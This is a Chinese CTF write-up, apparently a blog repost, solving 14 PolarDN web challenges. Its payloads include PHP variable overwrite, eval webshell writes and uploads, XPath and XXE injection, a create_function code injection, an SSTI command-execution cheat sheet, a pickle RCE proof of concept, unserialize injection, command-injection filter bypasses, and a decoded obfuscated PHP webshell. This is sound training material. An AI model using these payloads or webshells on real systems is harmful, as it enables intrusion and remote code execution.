当前位置: 首页 > article >正文

Web刷题之PolarDN(中等)

1.到底给不给flag呢

 代码审计

一道典型的php变量覆盖漏洞

相关知识

什么是变量覆盖漏洞

自定义的参数值替换原有变量值的情况称为变量覆盖漏洞

经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。


$$导致的变量覆盖问题

1.$$介绍
$$这种写法称为可变变量
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。

<?php
$a = "hello";       // 将变量 $a 赋值为 "hello"
echo "$a";          // 输出: hello

$a = "world";       // 将变量 $a 改为 "world"
echo "$a";          // 输出: world

echo "$$a";         // 这里是变量变量语法。$$a 相当于 $world,意思是输出变量 $world 的值。
echo "$a ${$a}";    // 这是另一个变量变量的例子。${$a} 是通过 $a 的值作为变量名来获取变量的值。这里 $a 的值是 "world",所以 ${$a} 等同于 ${"world"},也就是输出变量 $world 的值(即 world)。

echo "$a $hello";   // 这里会输出 $a 的值(即 world),然后会尝试输出 $hello 变量的值。如果 $hello 变量未定义,则会输出空字符串。
?>

2.漏洞产生
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
举例

<?php
foreach ($_GET as $key => $value) {
${$key} = $value;
}
echo $a;
?>

get得到的数据$key和$value,关键第3行,${$key}用get传进来的$key做为新的变量,将get传进来的$value赋值给它。
get ?a=1 第3行回解析为$a=1。就造成了变量覆盖。

解题

需要get一个flag和post一个flag。因为isset那里面是&&连接,所有post是不用传参的。所以直接get传参一个flag。

先a=flag然后让flag=a。这样被解析之后,就是$a=$flag&$flag=$a。从而达到真正输出flag的作用。而不会用一个变量a把$flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是$flag。

payload:

?a=flag&flag=a

flag{7c21614802acfb30b55697b3f5122be1}

2.写shell

 我们应该需要在filename这里面写入一个content以达到获取flag的效果。那么这就应该写入一句话木马,那么前面的exit()该如何越过成了问题。我去看了wp,发现可以使用base64解密的方式进行绕过。那么就将命令加密,并且前面加上任意一个字母进行分隔,payload:

?filename=php://filter/convert.base64-decode/resource=shell.php

content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg== 

 其中base64加密的内容:<?=@eval($_POST[1]);?>

然后访问/shell.php发现木马被读入,我们用蚁剑连接一下:

 flag{30c42ede8bc4b32e2ae125afaeebee6f}

3.注入

进题点一下User的选项然后抓包,发现了id=1的注入点。但是尝试了好久发现sql注入和ssti注入都是不行的。看了wp才知道是XPATH注入:

尝试一下XPATH注入万能钥匙,payload:

?id=']|//*|//*['

flag{6c6bb83d87d0fcc3cacb9ca45bc37599} 

4.某函数的复仇

由于怎么也想不到是哪个函数,我们直接去看了wp。发现是create_function()这个函数。他会直接执行这个创建的新函数。不过它需要一个闭合和一个注释。所以我们构造payload:

?root=;}system('ca\t /f*');/*

shaw=create_function

  • ;}:闭合create_function生成的匿名函数体。
  • //:注释后续可能的闭合字符,这里相当于把原本的}符号给注释掉,这样我们就执行了system('cat /flag')函数

flag{10be676ceed9b00b1c286de949790c37} 

 5.xxe

进题只有一个phpinfo的界面,尝试更改c参数但是没用。然后去看了眼wp,发现可以通过phpinfo查看版本,找到是xxe漏洞。用dirsearch扫一下目录,找到了/dom.php,进入访问:

然后就找到了报错信息,去找了一下xxe漏洞的攻击方式,然后根据wp构造payload:

<?xml version = "1.0" encoding="utf-8"?>
 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
 <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<name>&xxe;</name>

bp中需要将GET修改为POST方法,然后加上媒体类型信息:Content-Type: application/x-www-form-urlencoded,最后末尾添加需上传语句。

将得到的一串base64编码字符串解码

flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e} 

 6.SSTI

测出SSTI ,参考网上的payload试了一下

payload:

{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}

{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

flag{74da457f9884bef24f271e377334399a}

SSTI常用payload:

1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x

7.unpickle

题目直接给出源码。

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        return user
    except:
        username = "Guest"

    return "Hello %s" % username

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

代码很明显,需要通过Cookie的user值进行接收传递并进行反序列化。

存在python的反序列化函数,可以用到__reduce__这个魔法方法(注意__reduce__方法是新式类(内置类)特有的)这一点和PHP中的__wakeup() 魔术方法类似,都是每当反序列化过程开始或者结束时 , 都会自动调用这个魔术方法,因此利用这个魔术方法执行任意命令获取flag。

构造POC:

import requests
import os
import pickle
import base64

class exp:
    def __reduce__(self):
        return (eval,("open('/flag','r').read()",))
    
a = exp()
payload = base64.b64encode(pickle.dumps(a))
print(base64.b64decode(payload))
print(payload)

然后得到的base64直接传参:

 flag{1cd20c1dbbed0fc7ab481b44006d469f}

8.BlackMagic

进题可以访问一个子域名,我们直接进去访问。

查看网页源代码看到了真正的源码 

需要我们输入一个$strTmp,GET和POST传参都可以

$strContent这个变量等于trim($strFlag,$strCharList)

删除空白字符串 trim(), ltrim(), rtrim() 分别用来删除 字符串首尾,字符串开头,字符串结尾的空白符。

trim(),ltrim(),rtrim()函数默认删除的字符:
符号      ASCII码         意义
“ ”            0x20            空格
“\t”           0x09           制表符
"\n"          0X0A          换行符
"\r"           0x0D          回车符
"\0"          0x00           空字符
"\x0B"      0x0B       纵向制表符

//可以使用带参数的trim()函数来删除开头或结尾的空白而不删除制表符
$record = " Fred\tFlintstone\t35\tWilma\t  \n";
$record = trim($record, " \r\n\0\x0B");
//此时record 值为:"Fred\tFlintstone\t35\tWilma\t"

那这里$strContent的值就是$strFlag变量删除\r回车符、\n换行符、\0空字符、\x0B纵向制表符之后的值:

%09xxxxx...xxxxx%09

我们输入payload:

?strTmp=%09xxxxx...xxxxx%09

flag{ab8aff2d0104e4f883a57880b260b761} 

9.反序列化 

看别人的wp都是ls页面直接回显flag,但我这不知道为什么不行,最后只有tac绝对路径和一句话木马连接蚁剑才能获得flag 

exp:

<?php

class example{
	public $handle;
}	
class process{
	public $pid;
}


$a = new example();
$b = new process();
$b -> pid = "system('tac /var/www/html/flag.php');";
$a -> handle =$b;
echo serialize($a);

?>

O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('tac /var/www/html/flag.php');";}} 

<?php
class example
{
    public $handle;
    function __construct(){
        $this->handle=new process();//实现第一个需求
    }
}
class process{
    public $pid;
    function __construct(){
        $this->pid='@eval($_POST["123"]);';//实现第二个需求
    }
}
$test=new example();
echo serialize($test);//输出序列化并当成data的值输入
?>
 

O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:21:"@eval($_POST["123"]);";}}

10. 找找shell

dirsearch扫描到一个目录shell.php

shell.txt:

<?php 
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
 ?>

其中的几个变量定义如下,我们将其一个一个输出看看都是什么效果。四个变量从上到下依次是:

$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");

url解码结果为:

$O00OO0=n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

这几个变量分别对应

$O00O0O = base 
$O0OO00 = strtr
$OO0O00 = substr
$OO0000 = 52
$O00O0O. = 64_decode
拼接后的$O00O0O=base64_decode
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

将上面几个变量的值代入

$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.base64_decode($strtr($substr($O0O000,104),$substr($O0O000,52,52),$substr($O0O000,0,52))));

 

substr() 可以「截取」字符串。

语法

string substr( $str, start, length);

参数

  • $str :被截取的字符串。
  • start :开始截取的位置。
  • length :截取的长度。

strtr — 转换字符或替换字串

语法

​strtr(string $string, string $from, string $to): string

参数

  • string:待转换的 string。
  • from:要转成 to 的 string。
  • to:替换 from 的 string。

 写个脚本:

<?php
$O0O000 = "bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";

// 拆分字符串
$part3 = substr($O0O000, 104);     // 后52字符
$part2 = substr($O0O000, 52, 52);  // 中52字符
$part1 = substr($O0O000, 0, 52);   // 前52字符

// 字符替换
$replaced_str = strtr($part3, $part2, $part1);

// Base64解码
$decoded = base64_decode($replaced_str);

// 输出解码内容
echo "替换后的Base64字符串: " . $replaced_str . "\n";
echo "解码结果:\n" . $decoded . "\n";
?>

替换后的Base64字符串:PD9waHAgQGV2YWwoJF9QT1NUWyd1c2FtJ10pOyA/Pg==

解码结果:<?php @eval($_POST['usam']); ?>

我们直接拿去蚁剑连接之前扫到的/shell.php目录

flag{2591c98b70119fe624898b1e424b5e91}

11.再来ping一波啊

进题是一个要ping的文本框:

 

尝试了好多payload,手测需要的函数过滤了:ls、cat、tac、空格、index。那么我们用引号绕过或者反斜杠绕过。由于当前目录只有index.php,我们尝试读取根目录,发现"/"也被过滤了。那我们先读取index.php吧。用变量拼接绕过,payload:

127.0.0.1;a=inde;b=x.php;ca\t$IFS$a$b

查看源代码发现直接给出了flag

flag{ae5eb824ef87499f644c3f11a7176157} 

12.wu

很正常不过滤什么符号的无数字无字母rce: 

什么符号都没有过滤,那么我们用异或、取反、自增都是可以的,这里用的是取反: 

<?php 
$a=urlencode(~'system');
$b=urlencode(~'ls');
echo $a;
echo "</br>";

echo $b;
?>
输出:%8C%86%8C%8B%9A%92</br>%93%8C
?a=(~%8C%86%8C%8B%9A%92)(~93%8C);

<?php 
$a=urlencode(~'system');
$b=urlencode(~'cat zheshiflag.php');
echo $a;
echo "</br>";

echo $b;
?>
输出:%8C%86%8C%8B%9A%92</br>%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F
payload:?a=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F);

13.代码审计1

本题考察的是php原生类的寻找和利用,详情可见coleak师傅博客:CTF中常用的php原生类总结_ctf php代码-CSDN博客

源码中echo new $sys($xsx)可以看出是原生类的利用。我们发现这题是读取文件,所以用的是类SplFileObject,然后由于第一个if时xsx并没有赋值,所以第一个if是没用的。

这里我们先用Directorylterator类输出指定目录里面经过排序之后的第一个文件名。

?sys=DirectoryIterator&xsx=glob://f*

?sys=SplFileObject&xsx=flag.php

这个payload没读出来

SplFileObject类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容

?sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php

flag{289dff07669d7a23de0ef88d2f7129e7}

14.你的马呢?

 

无法上传php脚本

方法1:

发现它上传后缀之后,会说“后缀”恭喜你。那么考虑Apache双后缀绕过检测,payload:

一句话木马后缀名改为.php.jpg

一句话木马

GIF89a
<?=
@eval($_REQUEST[777]);
?>

方法2: (wp给的解法)

1.对一句话木马进行base64编码;

2.将php后缀改成jpg文件;

3.上传木马文件;

4.连接webshell,用php伪协议convert.base64-decode解码;

/index.php?file=php://filter/convert.base64-decode/resource=uploads/1.jpg

5.找出flag;


http://www.kler.cn/a/560282.html

相关文章:

  • 验证码介绍及生成与验证
  • Python的PyTorch+CNN深度学习技术在人脸识别项目中的应用
  • Android开发数据持久化
  • HTML使用 Vue 3 和 Element Plus 实现图片上传功能
  • 《渗透测试方法论:从信息搜集到报告输出的死亡行军》
  • python学习一
  • Spring Boot 项目启动命令大全:参数详解与高阶用法
  • (六)趣学设计模式 之 代理模式!
  • Hyperledger Fabric 入门笔记(十九)Fabric V2.5 杂项 - 在开发模式下运行链码
  • OpenCV计算摄影学Computational Photography
  • 【嵌入式Linux应用开发基础】网络编程(1):TCP/IP协议栈
  • 【备赛】点亮LED
  • 【信息系统项目管理师-案例真题】2010下半年案例分析答案和详解
  • UE5实现角色二段跳
  • DIP的实际举例
  • 垂类大模型微调(一):认识LLaMA-Factory
  • clickhouse--本地表和分布式表,副本机制,分片集群
  • DeepSeek-R1蒸馏模型与其他模型的区别
  • 【Linux知识】Linux上从源码编译到软件安装全过程详细说明
  • 冒泡排序:简单又易于实现的排序算法